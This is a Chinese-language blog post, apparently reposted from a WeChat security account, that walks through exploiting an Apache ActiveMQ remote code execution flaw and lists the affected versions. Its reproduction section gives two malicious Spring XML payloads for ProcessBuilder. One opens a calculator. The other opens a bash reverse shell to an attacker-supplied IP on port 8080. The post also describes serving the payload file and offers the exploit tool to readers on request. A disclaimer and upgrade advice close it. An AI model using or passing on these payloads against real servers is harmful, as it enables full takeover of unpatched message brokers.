ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。
一.漏洞描述
ActiveMQ对传入的TCP数据没有进行校验。攻击者可构造特殊数据流在服务端加载任意类,最终能直接执行任意命令,接管ActiveMQ服务器。
二.影响范围
ActiveMQ < 5.15.16、ActiveMQ < 5.16.7、ActiveMQ < 5.17.6、ActiveMQ < 5.18.3
三.漏洞复现
这个漏洞其实已经出来很久了,前段时间没有人爆出来poc而已,最近又突然爆出来了。
把poc导入到idea中,这个poc必须使用jdk11才行。
恶意的xml如下:
这个是测试弹计算器的
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>open</value>
<value>-a</value>
<value>calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
这个是弹shell的
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/your-ip/8080 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后在xml文件的目录下起一个Python服务,如下:
然后去运行main.java文件,成功弹出计算器。
其他师傅写的漏洞代码分析很不错很详细推荐
https://mp.weixin.qq.com/s/4n7vyeXLtim0tXcjnSWDAw
四.漏洞修复
目前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:https://github.com/apache/activemq/tags
技术文章仅供参考学习,请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失,均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习,一切不良后果与文章作者无关。使用者应该遵守法律法规,并尊重他人的合法权益。
获取漏洞利用工具公众号回复"MQ",是大写的MQ哦
原文始发于微信公众号(Kokoxca安全):Apache ActiveMQ RCE漏洞复现(附EXP)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论